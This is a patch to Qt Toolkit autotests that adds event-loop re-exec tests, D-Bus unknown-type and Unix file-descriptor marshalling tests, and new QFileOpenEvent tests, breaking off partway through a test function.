--- a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
+++ b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
@@ -59,6 +59,9 @@ private slots:
void applicationPid();
void globalPostedEventsCount();
void processEventsAlwaysSendsPostedEvents();
+ void reexec();
+ void execAfterExit();
+ void eventLoopExecAfterExit();
};
class EventSpy : public QObject
@@ -524,5 +527,47 @@ void tst_QCoreApplication::processEventsAlwaysSendsPostedEvents()
} while (t.elapsed() < 3000);
}
+void tst_QCoreApplication::reexec()
+{
+ int argc = 1;
+ char *argv[] = { "tst_qcoreapplication" };
+ QCoreApplication app(argc, argv);
+
+ // exec once
+ QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+ QCOMPARE(app.exec(), 0);
+
+ // and again
+ QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+ QCOMPARE(app.exec(), 0);
+}
+
+void tst_QCoreApplication::execAfterExit()
+{
+ int argc = 1;
+ char *argv[] = { "tst_qcoreapplication" };
+ QCoreApplication app(argc, argv);
+
+ app.exit(1);
+ QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+ QCOMPARE(app.exec(), 0);
+}
+
+void tst_QCoreApplication::eventLoopExecAfterExit()
+{
+ int argc = 1;
+ char *argv[] = { "tst_qcoreapplication" };
+ QCoreApplication app(argc, argv);
+
+ // exec once and exit
+ QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
+ QCOMPARE(app.exec(), 0);
+
+ // and again, but this time using a QEventLoop
+ QEventLoop loop;
+ QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+ QCOMPARE(loop.exec(), 0);
+}
+
QTEST_APPLESS_MAIN(tst_QCoreApplication)
#include "tst_qcoreapplication.moc"
diff --git a/tests/auto/qdbusinterface/tst_qdbusinterface.cpp b/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
index c1938b1..39f0677 100644
--- a/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
+++ b/tests/auto/qdbusinterface/tst_qdbusinterface.cpp
@@ -169,6 +169,25 @@ public slots:
int MyObject::callCount = 0;
QVariantList MyObject::callArgs;
+class MyObjectUnknownType: public QObject
+{
+ Q_OBJECT
+ Q_CLASSINFO("D-Bus Interface", "com.trolltech.QtDBus.MyObject")
+ Q_CLASSINFO("D-Bus Introspection", ""
+" <interface name=\"com.trolltech.QtDBus.MyObjectUnknownTypes\" >\n"
+" <property access=\"readwrite\" type=\"~\" name=\"prop1\" />\n"
+" <signal name=\"somethingHappened\" >\n"
+" <arg direction=\"out\" type=\"~\" />\n"
+" </signal>\n"
+" <method name=\"ping\" >\n"
+" <arg direction=\"in\" type=\"~\" name=\"ping\" />\n"
+" <arg direction=\"out\" type=\"~\" name=\"ping\" />\n"
+" </method>\n"
+" <method name=\"regularMethod\" />\n"
+" </interface>\n"
+ "")
+};
+
class Spy: public QObject
{
Q_OBJECT
@@ -228,6 +247,7 @@ private slots:
void notValidDerived();
void invalidAfterServiceOwnerChanged();
void introspect();
+ void introspectUnknownTypes();
void callMethod();
void invokeMethod();
void invokeMethodWithReturn();
@@ -250,8 +270,7 @@ void tst_QDBusInterface::initTestCase()
con.registerObject("/", &obj, QDBusConnection::ExportAllProperties
| QDBusConnection::ExportAllSlots
- | QDBusConnection::ExportAllInvokables
- | QDBusConnection::ExportChildObjects);
+ | QDBusConnection::ExportAllInvokables);
}
void tst_QDBusInterface::notConnected()
@@ -322,6 +341,27 @@ void tst_QDBusInterface::introspect()
QVERIFY(mo->indexOfProperty("complexProp") != -1);
}
+void tst_QDBusInterface::introspectUnknownTypes()
+{
+ QDBusConnection con = QDBusConnection::sessionBus();
+ MyObjectUnknownType obj;
+ con.registerObject("/unknownTypes", &obj, QDBusConnection::ExportAllContents);
+ QDBusInterface iface(QDBusConnection::sessionBus().baseService(), QLatin1String("/unknownTypes"),
+ "com.trolltech.QtDBus.MyObjectUnknownTypes");
+
+ const QMetaObject *mo = iface.metaObject();
+ QVERIFY(mo->indexOfMethod("regularMethod()") != -1); // this is the control
+ QVERIFY(mo->indexOfMethod("somethingHappened(QDBusRawType<0x7e>*)") != -1);
+
+ QVERIFY(mo->indexOfMethod("ping(QDBusRawType<0x7e>*)") != -1);
+ int midx = mo->indexOfMethod("ping(QDBusRawType<0x7e>*)");
+ QCOMPARE(mo->method(midx).typeName(), "QDBusRawType<0x7e>*");
+
+ QVERIFY(mo->indexOfProperty("prop1") != -1);
+ int pidx = mo->indexOfProperty("prop1");
+ QCOMPARE(mo->property(pidx).typeName(), "QDBusRawType<0x7e>*");
+}
+
void tst_QDBusInterface::callMethod()
{
QDBusConnection con = QDBusConnection::sessionBus();
diff --git a/tests/auto/qdbusmarshall/test/test.pro b/tests/auto/qdbusmarshall/test/test.pro
index 8901999..71fc656 100644
--- a/tests/auto/qdbusmarshall/test/test.pro
+++ b/tests/auto/qdbusmarshall/test/test.pro
@@ -5,4 +5,5 @@ TARGET = ../tst_qdbusmarshall
QT = core
QT += dbus
-
+LIBS += $$QT_LIBS_DBUS
+QMAKE_CXXFLAGS += $$QT_CFLAGS_DBUS
diff --git a/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp b/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
index c05e49c..9bae6af 100644
--- a/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
+++ b/tests/auto/qdbusmarshall/tst_qdbusmarshall.cpp
@@ -38,7 +38,6 @@
** $QT_END_LICENSE$
**
****************************************************************************/
-#define DBUS_API_SUBJECT_TO_CHANGE
#include <QtCore/QtCore>
#include <QtTest/QtTest>
#include <QtDBus/QtDBus>
@@ -47,6 +46,8 @@
#include "common.h"
#include <limits>
+#include <dbus/dbus.h>
+
static const char serviceName[] = "com.trolltech.autotests.qpong";
static const char objectPath[] = "/com/trolltech/qpong";
static const char *interfaceName = serviceName;
@@ -88,66 +89,59 @@ private slots:
void sendCallErrors_data();
void sendCallErrors();
+ void receiveUnknownType_data();
+ void receiveUnknownType();
+
private:
QProcess proc;
};
-struct UnregisteredType { };
-Q_DECLARE_METATYPE(UnregisteredType)
-
-class WaitForQPong: public QObject
+class QDBusMessageSpy: public QObject
{
Q_OBJECT
-public:
- WaitForQPong();
- bool ok();
-public Q_SLOTS:
- void ownerChange(const QString &name)
+public slots:
+ Q_SCRIPTABLE int theSlot(const QDBusMessage &msg)
{
- if (name == serviceName)
- loop.quit();
+ list << msg;
+ return 42;
}
-
-private:
- QEventLoop loop;
+public:
+ QList<QDBusMessage> list;
};
-WaitForQPong::WaitForQPong()
-{
- QDBusConnection con = QDBusConnection::sessionBus();
- if (!ok()) {
- connect(con.interface(), SIGNAL(serviceOwnerChanged(QString,QString,QString)),
- SLOT(ownerChange(QString)));
- QTimer::singleShot(2000, &loop, SLOT(quit()));
- loop.exec();
- }
-}
-
-bool WaitForQPong::ok()
-{
- return QDBusConnection::sessionBus().isConnected() &&
- QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName);
-}
+struct UnregisteredType { };
+Q_DECLARE_METATYPE(UnregisteredType)
void tst_QDBusMarshall::initTestCase()
{
commonInit();
+ QDBusConnection con = QDBusConnection::sessionBus();
#ifdef Q_OS_WIN
proc.start("qpong");
#else
proc.start("./qpong/qpong");
#endif
- QVERIFY(proc.waitForStarted());
-
- WaitForQPong w;
- QVERIFY(w.ok());
- //QTest::qWait(2000);
+ if (!QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName)) {
+ QVERIFY(proc.waitForStarted());
+
+ QVERIFY(con.isConnected());
+ con.connect("org.freedesktop.DBus", QString(), "org.freedesktop.DBus", "NameOwnerChanged",
+ QStringList() << serviceName << QString(""), QString(),
+ &QTestEventLoop::instance(), SLOT(exitLoop()));
+ QTestEventLoop::instance().enterLoop(2);
+ QVERIFY(!QTestEventLoop::instance().timeout());
+ QVERIFY(QDBusConnection::sessionBus().interface()->isServiceRegistered(serviceName));
+ con.disconnect("org.freedesktop.DBus", QString(), "org.freedesktop.DBus", "NameOwnerChanged",
+ QStringList() << serviceName << QString(""), QString(),
+ &QTestEventLoop::instance(), SLOT(exitLoop()));
+ }
}
void tst_QDBusMarshall::cleanupTestCase()
{
proc.close();
- proc.kill();
+ proc.terminate();
+ proc.waitForFinished(200);
}
void tst_QDBusMarshall::sendBasic_data()
@@ -700,6 +694,8 @@ void tst_QDBusMarshall::sendBasic()
msg << value;
QDBusMessage reply = con.call(msg);
+ QVERIFY2(reply.type() == QDBusMessage::ReplyMessage,
+ qPrintable(reply.errorName() + ": " + reply.errorMessage()));
//qDebug() << reply;
QCOMPARE(reply.arguments().count(), msg.arguments().count());
@@ -938,5 +934,145 @@ void tst_QDBusMarshall::sendCallErrors()
QCOMPARE(reply.errorMessage(), errorMsg);
}
+void tst_QDBusMarshall::receiveUnknownType_data()
+{
+ QTest::addColumn<int>("receivedTypeId");
+ QTest::newRow("in-call") << qMetaTypeId<void*>();
+ QTest::newRow("type-variant") << qMetaTypeId<QDBusVariant>();
+ QTest::newRow("type-array") << qMetaTypeId<QDBusArgument>();
+ QTest::newRow("type-struct") << qMetaTypeId<QDBusArgument>();
+ QTest::newRow("type-naked") << qMetaTypeId<void *>();
+}
+
+struct DisconnectRawDBus {
+ static void cleanup(DBusConnection *connection)
+ {
+ if (!connection)
+ return;
+ dbus_connection_close(connection);
+ dbus_connection_unref(connection);
+ }
+};
+template <typename T, void (*unref)(T *)> struct GenericUnref
+{
+ static void cleanup(T *type)
+ {
+ if (!type) return;
+ unref(type);
+ }
+};
+
+// use these scoped types to avoid memory leaks if QVERIFY or QCOMPARE fails
+typedef QScopedPointer<DBusConnection, DisconnectRawDBus> ScopedDBusConnection;
+typedef QScopedPointer<DBusMessage, GenericUnref<DBusMessage, dbus_message_unref> > ScopedDBusMessage;
+typedef QScopedPointer<DBusPendingCall, GenericUnref<DBusPendingCall, dbus_pending_call_unref> > ScopedDBusPendingCall;
+
+void tst_QDBusMarshall::receiveUnknownType()
+{
+#ifndef DBUS_TYPE_UNIX_FD
+ QSKIP("Your system's D-Bus library is too old for this test", SkipAll);
+#else
+ QDBusConnection con = QDBusConnection::sessionBus();
+ QVERIFY(con.isConnected());
+
+ // this needs to be implemented in raw
+ // open a new connection to the bus daemon
+ DBusError error;
+ dbus_error_init(&error);
+ ScopedDBusConnection rawcon(dbus_bus_get_private(DBUS_BUS_SESSION, &error));
+ QVERIFY2(rawcon.data(), error.name);
+
+ // check if this bus supports passing file descriptors
+ if (!dbus_connection_can_send_type(rawcon.data(), DBUS_TYPE_UNIX_FD))
+ QSKIP("Your session bus does not allow sending Unix file descriptors", SkipAll);
+
+ if (qstrcmp(QTest::currentDataTag(), "in-call") == 0) {
+ // create a call back to us containing a file descriptor
+ QDBusMessageSpy spy;
+ con.registerObject("/spyObject", &spy, QDBusConnection::ExportAllSlots);
+ ScopedDBusMessage msg(dbus_message_new_method_call(con.baseService().toLatin1(), "/spyObject", NULL, "theSlot"));
+
+ int fd = fileno(stdout);
+ dbus_message_append_args(msg.data(), DBUS_TYPE_UNIX_FD, &fd, DBUS_TYPE_INVALID);
+
+ // try to send to us
+ DBusPendingCall *pending_ptr;
+ dbus_connection_send_with_reply(rawcon.data(), msg.data(), &pending_ptr, 1000);
+ ScopedDBusPendingCall pending(pending_ptr);
+
+ // check that it got sent
+ while (dbus_connection_dispatch(rawcon.data()) == DBUS_DISPATCH_DATA_REMAINS)
+ ;
+
+ // now spin our event loop. We don't catch this call, so let's get the reply
+ QEventLoop loop;
+ QTimer::singleShot(200, &loop, SLOT(quit()));
+ loop.exec();
+
+ // now try to receive the reply
+ dbus_pending_call_block(pending.data());
+
+ // check that the spy received what it was supposed to receive
+ QCOMPARE(spy.list.size(), 1);
+ QCOMPARE(spy.list.at(0).arguments().size(), 1);
+ QFETCH(int, receivedTypeId);
+ QCOMPARE(spy.list.at(0).arguments().at(0).userType(), receivedTypeId);
+
+ msg.reset(dbus_pending_call_steal_reply(pending.data()));
+ QVERIFY(msg);
+ QCOMPARE(dbus_message_get_type(msg.data()), DBUS_MESSAGE_TYPE_METHOD_RETURN);
+ QCOMPARE(dbus_message_get_signature(msg.data()), DBUS_TYPE_INT32_AS_STRING);
+
+ int retval;
+ QVERIFY(dbus_message_get_args(msg.data(), &error, DBUS_TYPE_INT32, &retval, DBUS_TYPE_INVALID));
+ QCOMPARE(retval, 42);
+ } else {
+ // create a signal that we'll emit
+ static const char signalName[] = "signalName";
+ static const char interfaceName[] = "local.interface.name";
+ ScopedDBusMessage msg(dbus_message_new_signal("/", interfaceName, signalName));
+ con.connect(dbus_bus_get_unique_name(rawcon.data()), QString(), interfaceName, signalName, &QTestEventLoop::instance(), SLOT(exitLoop()));
+
+ QDBusMessageSpy spy;
+ con.connect(dbus_bus_get_unique_name(rawcon.data()), QString(), interfaceName, signalName, &spy, SLOT(theSlot(QDBusMessage)));
+
+ DBusMessageIter iter;
+ dbus_message_iter_init_append(msg.data(), &iter);
+ int fd = fileno(stdout);
+
+ if (qstrcmp(QTest::currentDataTag(), "type-naked") == 0) {
+ // send naked
+ dbus_message_iter_append_basic(&iter, DBUS_TYPE_UNIX_FD, &fd);
+ } else {
+ DBusMessageIter subiter;
+ if (qstrcmp(QTest::currentDataTag(), "type-variant") == 0)
+ dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, DBUS_TYPE_UNIX_FD_AS_STRING, &subiter);
+ else if (qstrcmp(QTest::currentDataTag(), "type-array") == 0)
+ dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_TYPE_UNIX_FD_AS_STRING, &subiter);
+ else if (qstrcmp(QTest::currentDataTag(), "type-struct") == 0)
+ dbus_message_iter_open_container(&iter, DBUS_TYPE_STRUCT, 0, &subiter);
+ dbus_message_iter_append_basic(&subiter, DBUS_TYPE_UNIX_FD, &fd);
+ dbus_message_iter_close_container(&iter, &subiter);
+ }
+
+ // send it
+ dbus_connection_send(rawcon.data(), msg.data(), 0);
+
+ // check that it got sent
+ while (dbus_connection_dispatch(rawcon.data()) == DBUS_DISPATCH_DATA_REMAINS)
+ ;
+
+ // now let's see what happens
+ QTestEventLoop::instance().enterLoop(1);
+ QVERIFY(!QTestEventLoop::instance().timeout());
+ QCOMPARE(spy.list.size(), 1);
+ QCOMPARE(spy.list.at(0).arguments().count(), 1);
+ QFETCH(int, receivedTypeId);
+ //qDebug() << spy.list.at(0).arguments().at(0).typeName();
+ QCOMPARE(spy.list.at(0).arguments().at(0).userType(), receivedTypeId);
+ }
+#endif
+}
+
QTEST_MAIN(tst_QDBusMarshall)
#include "tst_qdbusmarshall.moc"
diff --git a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
index 42db697..a5b4b98 100644
--- a/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
+++ b/tests/auto/qdbusperformance/tst_qdbusperformance.cpp
@@ -125,7 +125,7 @@ void tst_QDBusPerformance::init()
void tst_QDBusPerformance::callSpeed()
{
- QTime timer;
+ QElapsedTimer timer;
int callCount = 0;
timer.start();
@@ -141,7 +141,7 @@ void tst_QDBusPerformance::callSpeed()
bool tst_QDBusPerformance::executeTest(const char *funcname, int size, const QVariant &data)
{
- QTime timer;
+ QElapsedTimer timer;
int callCount = 0;
qint64 transferred = 0;
diff --git a/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp b/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
index 25595c5..f83795c 100644
--- a/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
+++ b/tests/auto/qdbusxmlparser/tst_qdbusxmlparser.cpp
@@ -287,11 +287,14 @@ void tst_QDBusXmlParser::methods_data()
"</method>" << map;
// one invalid arg
+ method.inputArgs << arg("~", "invalid");
+ map.clear();
+ map << method;
QTest::newRow("two-in-one-invalid") <<
"<method name=\"Method\">"
"<arg type=\"s\" direction=\"in\"/>"
- "<arg type=\"~\" name=\"invalid\" direction=\"in\"/>" // this line should be ignored
"<arg type=\"v\" direction=\"in\"/>"
+ "<arg type=\"~\" name=\"invalid\" direction=\"in\"/>"
"</method>" << map;
// one out argument
@@ -380,8 +383,6 @@ void tst_QDBusXmlParser::methods()
QFETCH(QString, xmlDataFragment);
- if (strcmp(QTest::currentDataTag(), "two-in-one-invalid") == 0)
- QTest::ignoreMessage(QtWarningMsg, "Invalid D-BUS type signature '~' found while parsing introspection");
QDBusIntrospection::Interface iface =
QDBusIntrospection::parseInterface(xmlHeader + xmlDataFragment + xmlFooter);
@@ -390,9 +391,9 @@ void tst_QDBusXmlParser::methods()
QFETCH(MethodMap, methodMap);
MethodMap parsedMap = iface.methods;
- QCOMPARE(methodMap.count(), parsedMap.count());
- QCOMPARE(methodMap, parsedMap);
-}
+ QCOMPARE(parsedMap.count(), methodMap.count());
+ QCOMPARE(parsedMap, methodMap);
+}
void tst_QDBusXmlParser::signals__data()
{
diff --git a/tests/auto/qeventloop/tst_qeventloop.cpp b/tests/auto/qeventloop/tst_qeventloop.cpp
index 7af722f..6860f19 100644
--- a/tests/auto/qeventloop/tst_qeventloop.cpp
+++ b/tests/auto/qeventloop/tst_qeventloop.cpp
@@ -112,6 +112,10 @@ signals:
public:
QMutex mutex;
QWaitCondition cond;
+ volatile int result1;
+ volatile int result2;
+ MultipleExecThread() : result1(0xdead), result2(0xbeef) {}
+
void run()
{
QMutexLocker locker(&mutex);
@@ -124,13 +128,13 @@ public:
connect(&timer, SIGNAL(timeout()), SLOT(quit()), Qt::DirectConnection);
timer.setInterval(1000);
timer.start();
- (void) exec();
+ result1 = exec();
// this should return immediately, since exit() has been called
cond.wakeOne();
cond.wait(&mutex);
QEventLoop eventLoop;
- (void) eventLoop.exec();
+ result2 = eventLoop.exec();
}
};
@@ -197,7 +201,9 @@ private slots:
void symbianNestedActiveSchedulerLoop();
void processEvents();
void exec();
+ void reexec();
void exit();
+ void execAfterExit();
void wakeUp();
void quit();
void processEventsExcludeSocket();
@@ -398,7 +404,9 @@ void tst_QEventLoop::exec()
}
{
- // calling exec() after exit()/quit() should return immediately
+ // calling QEventLoop::exec() after a thread loop has exit()ed should return immediately
+ // Note: this behaviour differs from QCoreApplication and QEventLoop
+ // see tst_QCoreApplication::eventLoopExecAfterExit, tst_QEventLoop::reexec
MultipleExecThread thread;
// start thread and wait for checkpoint
@@ -411,6 +419,8 @@ void tst_QEventLoop::exec()
thread.cond.wakeOne();
thread.cond.wait(&thread.mutex);
QVERIFY(spy.count() > 0);
+ int v = thread.result1;
+ QCOMPARE(v, 0);
// exec should return immediately
spy.clear();
@@ -418,6 +428,8 @@ void tst_QEventLoop::exec()
thread.mutex.unlock();
thread.wait();
QCOMPARE(spy.count(), 0);
+ v = thread.result2;
+ QCOMPARE(v, -1);
}
{
@@ -462,9 +474,32 @@ void tst_QEventLoop::exec()
#endif
}
+void tst_QEventLoop::reexec()
+{
+ QEventLoop loop;
+
+ // exec once
+ QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+ QCOMPARE(loop.exec(), 0);
+
+ // and again
+ QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
+ QCOMPARE(loop.exec(), 0);
+}
+
void tst_QEventLoop::exit()
{ DEPENDS_ON(exec()); }
+void tst_QEventLoop::execAfterExit()
+{
+ QEventLoop loop;
+ EventLoopExiter obj(&loop);
+
+ QMetaObject::invokeMethod(&obj, "exit", Qt::QueuedConnection);
+ loop.exit(1);
+ QCOMPARE(loop.exec(), 0);
+}
+
void tst_QEventLoop::wakeUp()
{
EventLoopThread thread;
diff --git a/tests/auto/qfileopenevent/qfileopenevent.pro b/tests/auto/qfileopenevent/qfileopenevent.pro
new file mode 100644
index 0000000..45978d7
--- /dev/null
+++ b/tests/auto/qfileopenevent/qfileopenevent.pro
@@ -0,0 +1,2 @@
+TEMPLATE = subdirs
+SUBDIRS = test qfileopeneventexternal
diff --git a/tools/qdoc3/ccodeparser.cpp b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.cpp
index 20a12e5..0a5e032 100644
--- a/tools/qdoc3/ccodeparser.cpp
+++ b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.cpp
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,35 +39,34 @@
**
****************************************************************************/
-/*
- ccodeparser.cpp
-*/
+#include <QtGui>
+#include <QApplication>
+#include <QEvent>
-#include "ccodeparser.h"
-
-QT_BEGIN_NAMESPACE
-
-CCodeParser::CCodeParser()
-{
-}
-
-CCodeParser::~CCodeParser()
-{
-}
-
-QString CCodeParser::language()
+struct MyApplication : public QApplication
{
- return QLatin1String("C");
-}
+ MyApplication(int& argc, char** argv)
+ : QApplication(argc, argv)
+ {}
-QString CCodeParser::headerFileNameFilter()
-{
- return QLatin1String("*.ch *.h");
-}
+ bool event(QEvent * event)
+ {
+ if (event->type() == QEvent::FileOpen) {
+ QFileOpenEvent* ev = static_cast<QFileOpenEvent *>(event);
+ QFile file;
+ bool ok = ev->openFile(file, QFile::Append | QFile::Unbuffered);
+ if (ok)
+ file.write(QByteArray("+external"));
+ return true;
+ } else {
+ return QApplication::event(event);
+ }
+ }
+};
-QString CCodeParser::sourceFileNameFilter()
+int main(int argc, char *argv[])
{
- return QLatin1String("*.c");
+ MyApplication a(argc, argv);
+ a.sendPostedEvents(&a, QEvent::FileOpen);
+ return 0;
}
-
-QT_END_NAMESPACE
diff --git a/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro
new file mode 100644
index 0000000..b95ed45
--- /dev/null
+++ b/tests/auto/qfileopenevent/qfileopeneventexternal/qfileopeneventexternal.pro
@@ -0,0 +1,10 @@
+TEMPLATE = app
+TARGET = qfileopeneventexternal
+QT += core gui
+SOURCES += qfileopeneventexternal.cpp
+symbian: {
+ RSS_RULES += "embeddability=KAppEmbeddable;"
+ RSS_RULES.datatype_list += "priority = EDataTypePriorityHigh; type = \"application/x-tst_qfileopenevent\";"
+ LIBS += -lapparc \
+ -leikcore -lefsrv -lcone
+}
diff --git a/tests/auto/qfileopenevent/test/test.pro b/tests/auto/qfileopenevent/test/test.pro
new file mode 100644
index 0000000..3f16dcf
--- /dev/null
+++ b/tests/auto/qfileopenevent/test/test.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+TARGET = tst_qfileopenevent
+HEADERS +=
+SOURCES += tst_qfileopenevent.cpp
+symbian {
+ LIBS+=-lefsrv -lapgrfx -lapmime
+}
diff --git a/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp b/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp
new file mode 100644
index 0000000..1177131
--- /dev/null
+++ b/tests/auto/qfileopenevent/test/tst_qfileopenevent.cpp
@@ -0,0 +1,362 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QEvent>
+
+#ifdef Q_OS_SYMBIAN
+#include <apgcli.h>
+#include "private/qcore_symbian_p.h"
+#endif
+
+class tst_qfileopenevent : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qfileopenevent(){}
+ ~tst_qfileopenevent();
+
+public slots:
+ void initTestCase();
+
+private slots:
+ void constructor();
+ void fileOpen();
+ void handleLifetime();
+ void multiOpen();
+ void sendAndReceive();
+ void external_data();
+ void external();
+
+private:
+#ifdef Q_OS_SYMBIAN
+ RFile createRFile(const TDesC& filename, const TDesC8& content);
+#else
+ void createFile(const QString &filename, const QByteArray &content);
+#endif
+ QFileOpenEvent * createFileAndEvent(const QString &filename, const QByteArray &content);
+ void checkReadAndWrite(QFileOpenEvent& event, const QByteArray& readContent, const QByteArray& writeContent, bool writeOk);
+ QByteArray readFileContent(QFileOpenEvent& event);
+ bool appendFileContent(QFileOpenEvent& event, const QByteArray& writeContent);
+
+ bool event(QEvent *);
+
+private:
+#ifdef Q_OS_SYMBIAN
+ struct AutoRFs : public RFs
+ {
+ AutoRFs()
+ {
+ qt_symbian_throwIfError(Connect());
+ qt_symbian_throwIfError(ShareProtected());
+ }
+
+ ~AutoRFs()
+ {
+ Close();
+ }
+ };
+ AutoRFs fsSession;
+#endif
+};
+
+tst_qfileopenevent::~tst_qfileopenevent()
+{
+};
+
+void tst_qfileopenevent::initTestCase()
+{
+}
+
+#ifdef Q_OS_SYMBIAN
+RFile tst_qfileopenevent::createRFile(const TDesC& filename, const TDesC8& content)
+{
+ RFile file;
+ qt_symbian_throwIfError(file.Replace(fsSession, filename, EFileWrite));
+ qt_symbian_throwIfError(file.Write(content));
+ return file;
+}
+#else
+void tst_qfileopenevent::createFile(const QString &filename, const QByteArray &content)
+{
+ QFile file(filename);
+ file.open(QFile::WriteOnly);
+ file.write(content);
+ file.close();
+}
+#endif
+
+QFileOpenEvent * tst_qfileopenevent::createFileAndEvent(const QString &filename, const QByteArray &content)
+{
+#ifdef Q_OS_SYMBIAN
+ RFile rFile = createRFile(qt_QString2TPtrC(filename), TPtrC8((TText8*)content.constData(), content.size()));
+ QScopedPointer<RFile, QScopedPointerRCloser<RFile> > closeRFile(&rFile);
+ return new QFileOpenEvent(rFile);
+#else
+ createFile(filename, content);
+ return new QFileOpenEvent(filename);
+#endif
+}
+
+void tst_qfileopenevent::constructor()
+{
+ // check that filename get/set works
+ QFileOpenEvent nameTest(QLatin1String("fileNameTest"));
+ QCOMPARE(nameTest.file(), QLatin1String("fileNameTest"));
+
+ // check that url get/set works
+ QFileOpenEvent urlTest(QUrl(QLatin1String("file:///urlNameTest")));
+ QCOMPARE(urlTest.url().toString(), QLatin1String("file:///urlNameTest"));
+
+#ifdef Q_OS_SYMBIAN
+ // check that RFile construction works
+ RFile rFile = createRFile(_L("testRFile"), _L8("test content"));
+ QFileOpenEvent rFileTest(rFile);
+ QString targetName(QLatin1String("testRFile"));
+ QCOMPARE(rFileTest.file().right(targetName.size()), targetName);
+ QCOMPARE(rFileTest.url().toString().right(targetName.size()), targetName);
+ rFile.Close();
+#endif
+}
+
+QByteArray tst_qfileopenevent::readFileContent(QFileOpenEvent& event)
+{
+ QFile file;
+ event.openFile(file, QFile::ReadOnly);
+ file.seek(0);
+ QByteArray data = file.readAll();
+ return data;
+}
+
+bool tst_qfileopenevent::appendFileContent(QFileOpenEvent& event, const QByteArray& writeContent)
+{
+ QFile file;
+ bool ok = event.openFile(file, QFile::Append | QFile::Unbuffered);
+ if (ok)
+ ok = file.write(writeContent) == writeContent.size();
+ return ok;
+}
+
+void tst_qfileopenevent::checkReadAndWrite(QFileOpenEvent& event, const QByteArray& readContent, const QByteArray& writeContent, bool writeOk)
+{
+ QCOMPARE(readFileContent(event), readContent);
+ QCOMPARE(appendFileContent(event, writeContent), writeOk);
+ QCOMPARE(readFileContent(event), writeOk ? readContent+writeContent : readContent);
+}
+
+void tst_qfileopenevent::fileOpen()
+{
+#ifdef Q_OS_SYMBIAN
+ // create writeable file
+ {
+ RFile rFile = createRFile(_L("testFileOpen"), _L8("test content"));
+ QFileOpenEvent rFileTest(rFile);
+ checkReadAndWrite(rFileTest, QByteArray("test content"), QByteArray("+RFileWrite"), true);
+ rFile.Close();
+ }
+
+ // open read-only RFile
+ {
+ RFile rFile;
+ int err = rFile.Open(fsSession, _L("testFileOpen"), EFileRead);
+ QFileOpenEvent rFileTest(rFile);
+ checkReadAndWrite(rFileTest, QByteArray("test content+RFileWrite"), QByteArray("+RFileRead"), false);
+ rFile.Close();
+ }
+#else
+ createFile(QLatin1String("testFileOpen"), QByteArray("test content+RFileWrite"));
+#endif
+
+ // filename event
+ QUrl fileUrl; // need to get the URL during the file test, for use in the URL test
+ {
+ QFileOpenEvent nameTest(QLatin1String("testFileOpen"));
+ fileUrl = nameTest.url();
+ checkReadAndWrite(nameTest, QByteArray("test content+RFileWrite"), QByteArray("+nameWrite"), true);
+ }
+
+ // url event
+ {
+ QFileOpenEvent urlTest(fileUrl);
+ checkReadAndWrite(urlTest, QByteArray("test content+RFileWrite+nameWrite"), QByteArray("+urlWrite"), true);
+ }
+
+ QFile::remove(QLatin1String("testFileOpen"));
+}
+
+void tst_qfileopenevent::handleLifetime()
+{
+ QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testHandleLifetime"), QByteArray("test content")));
+
+ // open a QFile after the original RFile is closed
+ QFile qFile;
